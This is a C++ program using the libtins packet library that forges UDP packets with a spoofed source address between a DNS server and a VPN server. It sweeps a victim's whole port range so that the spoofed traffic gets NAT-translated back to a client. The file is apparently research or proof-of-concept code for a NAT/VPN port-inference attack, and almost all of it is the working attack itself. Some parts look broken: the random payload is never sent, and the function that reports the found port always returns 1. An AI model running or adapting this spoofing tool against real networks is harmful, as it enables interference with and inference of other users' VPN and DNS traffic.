#include <tins/tins.h>
#include <cassert>
#include <iostream>
#include <string>
#include <unistd.h>
#include <thread>
#include <random>


using std::thread;
using std::cout;
using std::string;
using std::vector;
using namespace Tins;


bool is_running = true;
bool verbose = false;
bool count_resp = false;

string dest_ip;
string server_ip;


void print_divider(int count) {
  int i = 0;
  while (i < count) {
    if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
    i++;
  }
}


std::string random_string(std::size_t length) {

  const std::string CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

  std::random_device random_device;
  std::mt19937 generator(random_device());
  std::uniform_int_distribution<> distribution(0, CHARACTERS.size() - 1);

  string random_string;

  for (std::size_t i = 0; i < length; ++i) {
    random_string += CHARACTERS[distribution(generator)];
  }

  return random_string;
}



// Spreads UDPs across the victim's entire port range
// to find a port that is being used and the spoofed packets
// get NAT'ed back to the client
//
int spread_uds(bool server_spread, string server_ip, int server_port, string dest_ip, int start_port, int end_port) {

  PacketSender sender;
  NetworkInterface iface("enp0s9");
  int i;
  IP pkt;

  if (server_spread) pkt = IP(dest_ip, server_ip) / UDP(start_port, server_port);
  else pkt = IP(server_ip, dest_ip) / UDP(server_port, start_port);

  UDP& udp = pkt.rfind_pdu<UDP>();
  int spoof_port = start_port;

  int send_size = 0;
  int send_count = 0;
  string send_payload = random_string(send_size);



  cout << "spreading the port range from " << spoof_port << " to " << end_port << " with udps..\n";


  while (spoof_port < end_port) {

    if (server_spread) udp.dport(spoof_port); // set the packets src port to current guess
    else udp.sport(spoof_port);
    sender.send(pkt, iface);
    spoof_port++;
    send_size ++;
    send_payload = random_string(send_size);
    //cout << "next rando string: " << send_payload << "\n";

    // if the payload size reaches 1000 (max), reset back to 0
    if (send_size >= 1000) {
      send_size = 0;
      cout << "Sent w size 1000 to " << spoof_port << "\n";
    }

    usleep(1);
  }

  if (verbose) print_divider(2);

  return 1;

}


int fill_ports(bool server_spread, string source_ip, int sport, string dest_ip, int start_port, int end_port) {

  bool filling = true;
  int current_port = 0;

  while (filling) {

    current_port = spread_uds(server_spread, source_ip, sport, dest_ip, start_port, end_port);
    print_divider(1);

    if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";

    count_resp = true;
    filling = false;
    print_divider(2);

  }

  return current_port;

}




int main(int argc, char** argv) {

  cout << "arc twas: " << argc;

  if (argc != 6 && argc != 7) {
    cout << "sike wrong number of args ---> (server_ip, server_port, dest_ip, start_port, end_port <enable_server_spread>)\n";
    return 0;
  }

  server_ip = argv[1]; // dns server IP
  int server_port = atoi(argv[2]);
  dest_ip = argv[3]; // vpn server IP
  int start_port = atoi(argv[4]);
  int end_port = atoi(argv[5]);
  bool server_spread = false;

  if (argc == 7) server_spread = true;

  verbose = true;

  string dest_mac = "";
  string src_mac = "";

  print_divider(2);


  int p = fill_ports(server_spread, server_ip, server_port, dest_ip, start_port, end_port);

  cout << p << "\n";
  print_divider(1);
  is_running = false;

  if (verbose) cout << "Filled up all those ports and finished at: " << p << "\n";

  return p;
}